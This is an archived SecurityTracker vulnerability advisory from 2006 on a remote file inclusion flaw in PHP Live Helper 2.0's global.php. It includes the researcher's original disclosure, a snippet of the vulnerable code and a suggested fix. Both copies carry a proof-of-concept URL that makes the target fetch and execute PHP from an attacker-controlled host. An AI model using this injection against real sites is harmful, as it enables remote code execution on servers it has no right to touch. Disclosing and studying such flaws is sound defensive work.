SecurityTracker.com
    Home    |    View Topics    |    Search    |    Contact Us    |   

SecurityTracker
Archives


 


Category:   Application (Generic)  >   PHP Live Helper Vendors:   Turnkeywebtools.com
PHP Live Helper Include File Flaw in 'global.php' Lets Remote Users Execute Arbitrary Code
SecurityTracker Alert ID:  1016639
SecurityTracker URL:  http://securitytracker.com/id/1016639
CVE Reference:   CVE-2006-4051   (Links to External Site)
Updated:  Jun 8 2008
Original Entry Date:  Aug 4 2006
Impact:   Execution of arbitrary code via network, User access via network
Exploit Included:  Yes  
Version(s): 2.0
Description:   A vulnerability was reported in PHP Live Helper. A remote user can include and execute arbitrary code on the target system.

The 'global.php' script does not properly validate user-supplied input in the 'abs_path' parameter. A remote user can supply a specially crafted URL to cause the target system to include and execute arbitrary PHP code from a remote location. The PHP code, including operating system commands, will run with the privileges of the target web service.

A demonstration exploit URL is provided:

http://[target]/[phplivehelper_path]/global.php?abs_path=http://[attacker]/inject.txt?

Ahmad Maulana a.k.a Matdhule reported this vulnerability.

The original advisory is available at:

http://advisories.echo.or.id/adv/adv42-matdhule-2006.txt

Impact:   A remote user can execute arbitrary PHP code and operating system commands on the target system with the privileges of the target web service.
Solution:   No solution was available at the time of this entry.
Vendor URL:  www.turnkeywebtools.com/products.php/p/phplivehelper/ (Links to External Site)
Cause:   Input validation error, State error
Underlying OS:  Linux (Any), UNIX (Any), Windows (Any)

Message History:   None.


 Source Message Contents

Subject:  [ECHO_ADV_42$2006] PHP Live Helper <= 2.0 (abs_path) Remote File

____________________   ___ ___ ________
\_   _____/\_   ___ \ /   |   \\_____  \
 |    __)_ /    \  \//    ~    \/   |   \
 |        \\     \___\    Y    /    |    \
/_______  / \______  /\___|_  /\_______  /
        \/         \/       \/         \/                              .OR.ID
ECHO_ADV_42$2006

---------------------------------------------------------------------------------------------------
[ECHO_ADV_42$2006] PHP Live Helper <= 2.0 (abs_path) Remote File Inclusion
---------------------------------------------------------------------------------------------------

Author		: Ahmad Maulana a.k.a Matdhule
Date Found	: July, 02nd 2006
Location	: Indonesia, Jakarta
web		: http://advisories.echo.or.id/adv/adv42-matdhule-2006.txt
Critical Lvl	: Highly critical
Impact		: System access
Where		: From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
PHP Live Helper

Application	: PHP Live Helper
version		: Latest version [2.0]
URL		: http://www.turnkeywebtools.com/phplivehelper

---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~~~~~

-----------------------global.php----------------------
....
<?PHP
/*
  global.php - 05/30/2006 - 5:27pm PST - 2.0
  
  PHP Live Helper
  http://www.turnkeywebtools.com/phplivehelper/
  
  Copyright (c) 2001-2006 Turnkey Web Tools, Inc.
*/

define('PLH_SESSION_START', '1');

////////////////////////////
// Load Class & Secure Files
////////////////////////////

require_once $abs_path."/libsecure.php";
include_once $abs_path."/include/class.browser.php";
...
----------------------------------------------------------

Input passed to the "abs_path" parameter in global.php is not
properly verified before being used. This can be exploited to execute
arbitrary PHP code by including files from local or external
resources.

Proof Of Concept:
~~~~~~~~~~~~~~~~~

http://target.com/[phplivehelper_path]/global.php?abs_path=http://attacker.com/inject.txt?

Solution:
~~~~~~~~~
- Sanitize variable $abs_path on global.php.

Notification:
~~~~~~~~~~~~

I've been contacting the web/software administrator to tell about this hole in his system, but instead of giving  a nice 

response, he replied so rudely and arrogantly. I recommend not to use this product for your own sake.

---------------------------------------------------------------------------
Shoutz:
~~~~~
~ solpot a.k.a chris, J4mbi  H4ck3r thx for the hacking lesson  :) 
~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,anonymous
~ bius, lapets, ghoz, t4mbun_hacker, NpR, h4ntu, thama
~ newbie_hacker@yahoogroups.com, jasakom_perjuangan@yahoogroups.com
~ Solpotcrew Comunity , #jambihackerlink #e-c-h-o @irc.dal.net
------------------------------------------------------------------------
---
Contact:
~~~~~~
 
     matdhule[at]gmail[dot]com
     
-------------------------------- [ EOF ]----------------------------------
 

 
 


Go to the Top of This SecurityTracker Archive Page





Home   |    View Topics   |    Search   |    Contact Us

This web site uses cookies for web analytics. Learn More

Copyright 2020, SecurityGlobal.net LLC